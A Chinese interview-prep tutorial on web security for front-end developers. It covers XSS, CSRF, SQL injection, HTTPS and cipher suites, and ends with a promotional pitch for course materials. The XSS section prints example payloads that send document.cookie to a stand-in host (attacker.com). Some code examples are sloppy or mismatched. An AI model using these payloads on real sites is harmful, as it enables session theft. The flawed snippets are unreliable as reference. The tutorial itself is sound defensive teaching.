前端必知的Web安全知识（狙击面试知识点）

你真的懂Web安全吗？比如下面的几个下问题

1. XSS需要转义的字符有哪些？为什么对这些字符进行转义
2. XSS攻击者可以达到哪些目的？举例的时候不要举alert(‘xxx’)
3. https加密如何验证服务端身份？https全程都是非对称通信吗？
4. 加密套件了解吗？你知道哪些加密算法？
5. 如何设计一个安全的登录系统，你会考虑哪些点

如果以上问题还有困惑的地方，欢迎往下阅读，本文将用浅显易懂的语言带你快速了解Web安全。

Web安全是指保护Web应用程序免受恶意攻击和滥用的过程。攻击者可以通过Web漏洞来利用应用程序并窃取敏感信息、执行未经授权的操作或破坏应用程序。

一. XSS

1.1 基本概念

xss 全程是 Cross Site Scripting，跨站脚本攻击，是为了避免与css混淆，所以叫xss

跨站脚本攻击（XSS）是指攻击者向Web页面注入恶意脚本的一种攻击方式。当受害者访问带有恶意脚本的页面时，这些脚本将在用户的浏览器中执行，从而允许攻击者获取用户的敏感信息或执行未经授权的操作。XSS攻击可以通过多种方式实现，包括反射型、存储型和DOM型。

1.2 XSS攻击原理 & 模拟场景

1.2.1 反射型XSS攻击 （非持久型）

反射型XSS攻击是指将恶意脚本注入到URL参数中，当受害者点击恶意链接时，恶意脚本就会被执行。攻击者通常会将包含恶意脚本的链接通过钓鱼邮件、社交网络等方式发送给受害者，诱导他们点击链接。反射型XSS攻击的特点是恶意脚本只在用户点击链接后被执行，而不是存储在服务器上。

场景伪代码模拟

例如，攻击者伪造了如下url链接，通过在参数中注入恶意脚本

http://www.example.com/search.php?q=<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.attacker.com？usercookie=${cooke};`xhr.open('GET', url); xhr.send();</script>

在这个URL中，攻击者将恶意脚本代码<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = 'https://www.attacker.com;x // 发送GET请求 xhr.open('GET', url); xhr.send();</script> 注入到了 q 参数中。当用户在浏览器中访问这个URL时，Web应用程序会将这个参数值取出来，并将它展现在页面上，从而使恶意脚本代码被执行。这段伪代码大概就实现了获取用户cookie，并发送到黑客的服务器上。

1.2.2 存储型XSS攻击 (持久型)

存储型XSS攻击则是攻击者将恶意脚本代码存储到Web应用程序的数据库中，然后在其他用户访问这个Web应用程序时，将恶意脚本代码注入到页面中，从而实现攻击。

场景伪代码模拟

具体来说，攻击者通常会在Web应用程序的输入框中输入恶意脚本代码，例如在有评论区的页面中输入评论

	script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.attacker.com？usercookie=${cooke};`xhr.open('GET', url); xhr.send();</script>

当Web应用程序将这个恶意脚本代码存储到数据库中，并将它展现给其他用户时，恶意脚本代码就会在这些用户的浏览器中执行，从而实现攻击。存储型XSS攻击比反射型XSS攻击更危险，因为攻击者只需要注入一次恶意代码，就可以攻击多个用户，而反射型XSS攻击则需要攻击者每次都构造不同的URL，才能攻击不同的用户。

1.2.3 DOM型XSS攻击

DOM型XSS攻击是一种利用JavaScript DOM API修改Web页面中的DOM结构来注入恶意代码的攻击。攻击者通过篡改Web页面中的DOM结构，使得Web页面执行恶意代码，从而窃取用户敏感信息、绕过访问控制、冒充用户身份等。

DOM型XSS攻击的攻击方式比较隐蔽，攻击者通常利用一些特殊的JavaScript函数或操作符来构造恶意代码，并将其注入到Web页面中。这些函数和操作符包括：document.write()、innerHTML、appendChild()、eval()、setTimeout()、location.href、location.replace()等。

场景伪代码模拟

// 攻击者构造恶意链接
const maliciousLink = 'http://www.example.com/search?q=<script>document.write("<img src=\'http://www.attacker.com/steal.php?cookie=" + document.cookie + "\'>")</script>';

// 用户点击恶意链接
document.getElementById('search-link').href = maliciousLink;

// 页面执行恶意代码，将用户的Cookie发送给攻击者

1.3 攻击危害

XSS攻击的危害主要包括以下几个方面：

• 盗取用户的Cookie信息：攻击者可以通过XSS注入恶意脚本代码，窃取用户的Cookie信息（PS: 通过document.cookie获取），然后利用这些信息进行各种非法操作，如盗取用户的账号、发送恶意邮件等。
• 窃取用户的敏感信息：攻击者可以通过XSS注入恶意脚本代码，例如通过监听键盘输入时间，获取用户的敏感信息，如账户名、密码、银行卡号等。
• 控制用户的浏览器：攻击者可以通过XSS注入恶意脚本代码，控制用户的浏览器，执行各种非法操作，如弹出广告、下载恶意软件等。
• 攻击其他用户：攻击者可以通过XSS注入恶意脚本代码，攻击其他用户，如在论坛中发布恶意评论、窃取其他用户的Cookie信息等。

1.4 常用Web漏洞

在说防范措施前，先总结下XSS通常利用的漏铜

1. 缺乏输入验证：Web应用程序未对用户输入的数据进行合法性验证或过滤，导致恶意脚本能够被成功注入到Web页面中。

2. 缺乏输出过滤：Web应用程序未对输出到Web页面中的数据进行合适的过滤，导致恶意脚本能够被成功渲染和执行。

3. 跨站脚本漏洞：Web应用程序在输出到Web页面中的数据中，未对敏感字符进行转义，导致攻击者能够在Web页面中注入恶意脚本。

4. 恶意广告：恶意广告是指攻击者在广告中嵌入恶意代码，以实现DOM型XSS攻击。用户在访问包含恶意广告的网站时，恶意代码会被执行，从而导致受害者的敏感信息泄露。

5. 恶意浏览器扩展：恶意浏览器扩展是指攻击者制作的、以浏览器扩展程序的形式存在的恶意代码，用于实现DOM型XSS攻击。

1.5 防范措施

1. 对用户的输入进行验证过滤

验证和过滤的目的是确保用户输入的数据符合预期的格式和内容，避免恶意脚本或非法字符的注入。验证和过滤一般使用正则表达式或其他相关函数对输入的数据进行处理。

，我们可以使用一些开源的防范XSS攻击的库来过滤用户输入的数据。例如在Node.js中，我们可以使用xss或sanitize-html等库来进行数据过滤。

下面是一个示例代码，使用正则表达式过滤掉一些特殊字符：

function filterInput(input) {
  const filteredInput = input.replace(/[^\w\s]/gi, '');
  return filteredInput;
}

const userInput = "<script>alert('Hello World!');</script>";
const filteredInput = filterInput(userInput);
console.log(filteredInput); // output: alertHello World

在上面的代码中，我们定义了一个filterInput函数，该函数使用正则表达式过滤掉非字母、数字和空格的字符。我们调用该函数时，将用户输入的数据作为参数传入，并获取到过滤后的数据。

2. 对输出到页面的内容进行转义

转义的目的是将输出到页面的数据进行转换，避免被浏览器误解为HTML代码，从而避免XSS攻击的发生。

1.1 HTML实体编码转义

// 通常需要转义的字符 
//  <、>、"、&、/、 &

function escapeHtml(str) { 
	return str.replace(/[&<>"']/g,
	 function(match) {
		  switch (match) { 
			  case '&': return '&amp;'; 
			  case '<': return '&lt;'; 
			  case '>': return '&gt;'; 
			  case '"': return '&quot;'; 
			  case "'": return '&#39;'; 
		  }
	}
	);
 }

转义这些字符的原因分析：

1. < 和 >：这两个字符用于HTML标签的起始和结束，如果不进行转义，可能会被当作标签解析，导致安全问题。

2. " 和 '：这两个字符用于定义HTML属性的值，如果不进行转义，可能会被当作属性值的起始和结束，导致属性值不正确或安全问题。

3. &：这个字符用于HTML实体引用，如果不进行转义，可能会被当作实体引用的起始符号，导致HTML语法错误或安全问题。

举例说明： 假设我们有一个输入框，用户可以输入自己的名字。如果用户输入的名字中包含了 & 符号，并且我们没有进行转义处理，那么就可能会导致XSS攻击。

例如，恶意攻击者可以构造一个名字为 John&<script>alert('XSS');</script>，这个名字包含了 & 符号和脚本代码，如果我们直接将这个名字显示在页面上，就会触发XSS攻击。

4. /：这个字符用于路径分隔符，如果不进行转义，可能会被当作路径分隔符，导致路径解析错误或安全问题。

5. %：这个字符用于URL编码中，如果不进行转义，可能会导致URL解析错误或安全问题。

1.2 JavaScript字符串转义：

将JavaScript字符串中的特殊字符转换为对应的转义字符。例如，将反斜杠 () 转义为 \\，将换行符 (\n) 转义为 \n，将制表符 (\t) 转义为 \t。示例代码如下：

	function escapeJsString(str) { 
		return str.replace(/[\\'"]/g, function(match) { 
			switch (match) { 
				case '\\': return '\\\\'; 
				case "'": return "\\'"; 
				case '"': return '\\"'; 
		} 
	}); }

1.3 URL编码转义

将URL中的特殊字符转换为对应的URL编码。例如，将空格转换为 %20，将加号 (+) 转换为 %2B，将问号 (?) 转换为 %3F。示例代码如下：

function escapeUrl(str) {   return encodeURIComponent(str); }

需要注意的是，不同的转义方式可能适用于不同的场景和需求，我们需要根据具体的应用程序，选择合适的转义方式来防范XSS攻击。同时，转义只是一种防范XSS攻击的措施，还需要结合其他安全措施，例如输入验证、输出过滤、Cookie安全标记等，来提高应用程序的安全性。

在前端开发中，通常可以使用一些转义函数来进行转义处理，例如JavaScript中的escape和encodeURIComponent函数，以及jQuery中的.escapeSelector和.escapeSelector和.escapeSelector和.html函数等。这些函数可以帮助我们快速地对特殊字符进行转义处理，从而提高应用程序的安全性和正确性。

3. 使用HTTPOnly Cookie

使用HTTPOnly Cookie可以防止恶意脚本通过document.cookie获取用户的Cookie信息。以下是一个设置HTTPOnly Cookie的示例：

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

4. 设置CSP

CSP（Content Security Policy）, CSP允许我们通过在HTTP响应头中设置一个策略，来告诉浏览器只信任特定的资源来源。当浏览器接收到这个策略时，会根据策略限制资源的加载和执行，从而提高Web应用程序的安全性。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

二. CSRF

2.1 基本概念

CSRF（Cross-site request forgery）跨站请求伪造，攻击者通过伪造用户请求，使用户在不知情的情况下执行某些操作，例如发送邮件、转账等。

2.2 攻击原理 & 模拟场景

攻击者通常需要知道用户已经登录了某个网站，然后通过某种方式诱导用户访问一个恶意网站或点击恶意链接。恶意网站会自动发送伪造的请求到被攻击网站，利用用户已经登录了被攻击网站的Cookie等身份验证信息，执行一些危害性操作，例如修改用户信息、发起转账等。

一个简单的模拟场景可以是，在被攻击网站A上，用户已经登录并保留了身份验证信息，攻击者构造一个伪造的请求页面B，并在该页面中构造一个伪造请求的表单，其中包含被攻击网站A的某个操作的请求参数，同时向该操作的目标URL发起请求，利用用户在网站A中的身份验证信息，实现伪造请求。

2.3 攻击危害

CSRF攻击可以导致许多危害性的后果，例如：

• 窃取用户账号信息和其他个人隐私信息
• 伪造用户操作，例如转账、发邮件等
• 修改用户信息，例如更改密码、修改收货地址等

2.4 防范措施

为了防范CSRF攻击，我们可以采取以下措施：

1. 验证来源：在服务器端验证请求的来源是否是可信的，例如验证Referer、Origin、CSRF Token等信息。
2. 使用CSRF Token：在表单中添加一个随机生成的Token，服务器端验证请求的时候需要验证该Token的合法性。
3. 限制访问：对于某些敏感的操作，限制访问来源，例如需要在特定的IP地址、特定的网络环境等条件下才能进行访问。
4. 禁用第三方Cookie：禁用第三方Cookie，避免攻击者利用第三方Cookie进行CSRF攻击。
5. 对用户操作进行二次确认：在执行某些敏感的操作之前，要求用户进行二次确认，例如要求用户输入密码、输入验证码等。

总之，CSRF攻击是一种常见的Web攻击，可以通过验证来源、使用CSRF Token、限制访问、禁用第三方Cookie、对用户操作进行二次确认等方式进行防范。

三. SQL注入

3.1 基本概念

SQL注入是一种常见的攻击方式，攻击者通过在应用程序的输入框等地方输入恶意代码，以获取或篡改数据库中的数据。攻击者可以利用这种漏洞，绕过登录、获取敏感数据等。

3.2 攻击原理

攻击者向应用程序提交带有恶意SQL代码的请求，如果应用程序没有对输入进行过滤或验证，那么恶意代码就可以被执行，从而访问或篡改数据库中的数据。

3.3 危害

SQL注入可以造成严重的安全问题，例如修改、删除、泄露数据库中的数据，以及拿到管理员账户和密码等。

3.4 防范措施

避免拼接SQL语句，使用参数化的SQL语句，对用户输入的数据进行过滤和验证，设置良好的用户权限，定期进行安全漏洞扫描等。

四. 中间人攻击

4.1 基本概念

中间人攻击是攻击者通过劫持网络传输的数据包，获取敏感信息。例如，在用户登录网银时，攻击者可以通过劫持数据包的方式，获取用户的账号和密码等信息。

4.2 原理

攻击者可以在用户和服务器之间插入自己的代理服务器，将用户发送的请求转发到服务器，同时也能够获取服务器返回的响应数据。攻击者可以修改数据包中的内容，从而获取敏感信息。

4.3 危害

中间人攻击可以获取用户的敏感信息，例如账户密码、银行卡号等，从而造成财产损失和个人信息泄露等安全问题。

4.4 防范措施

1. 使用HTTPS协议进行数据传输，通过数字证书来验证服务器的身份，从而确保与服务器之间的通信是加密的且没有被篡改的。

4.4.1 展开： Https加密的过程是怎么样的？

1. 客户端向服务器发送一个HTTPS请求，请求中包含支持的密码套件列表 _（包含加密算法、摘要算法、密钥交换算法） 以及一个随机数。

2. 服务器将自己的证书（Certificate）发送给客户端，证书中包含公钥、服务器信息、签名等。

3. 客户端接收到证书后，需要对证书进行验证，验证证书的合法性以及签名是否正确，这一步叫做SSL握手过程的证书验证。

4. 如果证书验证通过，客户端生成一个随机的对称加密密钥，使用服务器证书中的公钥加密后发送给服务器。

5. 服务器接收到加密后的对称密钥，使用自己的私钥进行解密，得到客户端生成的对称密钥。

6. 客户端和服务器使用协商好的加密算法和对称密钥进行通信。

在这个过程中，客户端需要对服务器证书进行验证。这个过程可以分为以下几个步骤：

1. 验证证书链：客户端需要验证证书链中所有证书的合法性，包括证书的签名、有效期、证书颁发者等。

2. 验证证书颁发者：客户端需要验证证书颁发者是否可信，包括证书颁发者的证书是否可信、是否在信任列表中等。

3. 验证服务器身份：客户端需要验证证书是否属于服务器，可以通过比较证书中的主机名、IP地址等信息来判断。

4. 验证证书吊销：客户端需要检查证书是否被吊销，可以通过在线验证或者本地CRL（证书吊销列表）来实现。

当证书验证通过后，客户端可以安全地生成对称密钥并发送给服务器，这样中间人就无法获得加密的通信内容。

注意： HTTPS在握手阶段会使用非对称加密，而在通信阶段则会使用对称加密。这样做的原因是对称加密算法的加密速度比非对称加密算法要快很多，对于数据通信的实时性要求较高的场景更加适合。同时，在HTTPS握手阶段使用非对称加密算法，可以保证传输过程中密钥的安全性，防止中间人攻击等安全威胁。

4.4.2 密码套件

Https中客户端需要告知服务端自己支持的密码套件，这里具体解释下

密码套件（Cipher Suite）是一组密码学算法和协议，用于保护网络通信的机密性、完整性和身份认证。一个密码套件包含以下几个部分：

1. 对称密钥算法：用于加密和解密数据的对称密钥算法，例如AES、DES等；
2. 密钥交换算法：用于在通信双方之间安全地交换加密密钥的算法，例如RSA、DH、ECDH等； （非对称加密）
3. 消息认证码算法：用于检验消息的完整性和真实性，例如HMAC-SHA256、CMAC等；
4. 安全哈希算法：用于生成数字指纹，例如SHA256、SHA384等；
5. 协议版本：用于标识通信双方所使用的TLS或SSL协议版本。

一个密码套件可以包含多个算法，这些算法的选择和组合可以影响TLS或SSL协议的安全性和性能。通常，一个密码套件应该既要提供足够的安全性，又要尽可能地减少通信的延迟和负担。

五. 加密算法

1. 对称加密算法：如DES、3DES、AES等。对称加密算法加密解密使用同一个密钥，加密速度快，适合加密大量数据。但是密钥的分发和管理比较麻烦，而且密钥泄露会导致所有数据都暴露。

2. 非对称加密算法：如RSA、DSA、ECC等。非对称加密算法加密解密使用不同的密钥，公钥公开，私钥保密。公钥加密的数据只能使用私钥解密，私钥加密的数据只能使用公钥解密。非对称加密算法安全性高，但是加密速度慢，适合加密少量数据。

3. 哈希算法（摘要算法）：如MD5、SHA等。哈希算法不可逆，无法从哈希值还原原始数据。哈希算法常用于密码存储和消息完整性验证。

4. 对称加密算法和非对称加密算法的结合：如SSL/TLS协议中使用的加密方式，先使用非对称加密算法对对称加密算法的密钥进行加密传输，然后使用对称加密算法对实际传输的数据进行加密。这种方式既保证了安全性，也保证了传输效率。

PS： 以前https基于ssl协议，但因为存在安全漏洞，目前已被TLS协议取代

六. 安全配置 & 安全监控（服务端）

6.1 安全配置

安全配置是指在后端系统中进行的一系列安全设置，旨在保障系统的安全性。以下是几个常见的安全配置措施：

1. 防火墙：防火墙是一种网络安全设备，用于监控和控制网络流量。通过配置防火墙，可以控制入站和出站流量，实现对网络的访问控制和保护。

2. IP限制：IP限制是指对服务器的访问进行限制，只允许特定的IP地址访问服务器。这可以有效地防止非法访问、恶意攻击和数据泄露。对于企业内部网络，管理员可以根据组织的网络结构和访问需求，设置只允许某些特定的IP地址访问关键系统，以增强安全性。

3. 禁止远程登录：禁止远程登录是指关闭或限制远程登录功能，只允许本地登录。这可以防止未经授权的远程访问和恶意攻击。

4. 数据库安全：数据库安全是指对数据库的访问进行限制，只允许授权用户进行访问。同时，应采取必要的安全措施来防止SQL注入等攻击，例如输入验证、数据过滤和参数化查询等。

5. 应用服务器安全：应用服务器安全是指对应用服务器进行必要的安全设置，例如配置HTTPS、设置访问控制和限制文件访问等。

6.2 安全监控

1. 定期进行漏洞扫描：使用安全扫描工具对Web应用程序进行定期扫描，发现漏洞并及时进行修复。

2. 进行安全监控：使用安全监控工具对Web应用程序进行实时监控，及时发现安全问题，例如异常访问、攻击等。

3. 加强日志管理：对Web应用程序的日志进行集中管理，对日志进行监控和分析，及时发现异常事件。

4. 加强对安全事件的响应能力：对安全事件进行快速响应，采取及时有效的措施防止安全事件扩大化。

5. 加强对安全意识的培训：定期组织安全培训，提高员工的安全意识，避免人为因素导致安全问题。

七. 安全小测验： 设计一个登录系统

以下非标准答案，仅供参考。

1. HTTPS协议：使用HTTPS协议保证数据传输的安全性。（考察对中间人攻击的了解）

2. 用户名和密码加密：对用户的密码进行加密存储，防止敏感信息被盗。

3. 防止XSS攻击：在前端页面对输入数据进行过滤和转义，避免用户输入恶意脚本。

4. 防止CSRF攻击：每次请求带上token，在后端对请求进行验证，判断是否合法。

5. 限制登录次数：在登录时限制登录次数，防止暴力破解密码。

八. 小结

1. 基础概念：Web安全中的常见攻击方式，例如 XSS、CSRF、SQL注入、中间人攻击等，以及防范措施的原理和方法。
2. 安全协议：HTTP、HTTPS协议的区别、SSL/TLS的加密机制和过程、数字证书的作用等。
3. 安全编程：前端开发过程中，如何防范这些常见的安全问题。
4. 安全配置：Web服务器、数据库、应用服务器等后端系统的安全配置，例如设置防火墙、限制访问IP、禁止远程登录等。
5. 安全监控：对Web应用程序进行安全监控和漏洞扫描，及时发现和解决安全问题。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取

读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）

同时每个成长路线对应的板块都有配套的视频提供：

实战训练营

面试刷题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~

读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）